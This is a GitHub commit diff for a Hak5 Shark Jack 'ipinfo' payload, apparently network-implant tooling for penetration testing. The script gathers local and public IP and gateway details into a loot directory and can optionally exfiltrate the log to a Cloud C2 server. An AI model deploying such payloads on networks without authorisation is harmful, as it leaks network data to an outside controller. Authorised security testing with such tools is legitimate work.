Merge pull request #7 from yakamoz147/master

fixed ipinfo script
pull/9/head
Darren Kitchen 2019-11-07 15:25:18 -08:00 committed by GitHub
commit 4d5bba3ffc
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 3 deletions

View File

@ -5,7 +5,7 @@
# Version: 1.0
#
# Description: This payload gathers internal and external IP address info,
# including default gateway, saving the log to the loot directory and
# including default gateway, saving the log to the loot directory and
# optionally exfiltrating the log to Cloud C2 if CLOUDC2=1
#
# LED SETUP (Magenta)... Setting logs and waiting for IP address from DHCP
@ -18,7 +18,7 @@ CLOUDC2=0
LOOT_DIR=/root/loot/ipinfo
PUBLIC_IP_URL="http://ipinfo.io/ip"
function FAIL() { LED FAIL; exit; }
function FAIL() { LED FAIL; exit; }
LED SETUP
# Make log file
@ -26,6 +26,9 @@ mkdir -p $LOOT_DIR
LOG_FILE="ipinfo_$(find $LOOT_DIR -type f | wc -l).log"
LOG="$LOOT_DIR/$LOG_FILE"
# Ask for IP address
NETMODE DHCP_CLIENT
# Wait until Shark Jack has an IP address
while ! ifconfig eth0 | grep "inet addr"; do sleep 1; done
@ -42,7 +45,7 @@ Gateway: $GATEWAY\n" >> $LOG
# Optionally connect to Cloud C2, wait for connection and exfiltrate loot
if [ "$CLOUDC2" = "1" ]; then
LED SPECIAL
C2CONNECT
C2CONNECT
while ! pgrep cc-client; do sleep 1; done
C2EXFIL STRING $LOG IPinfo
fi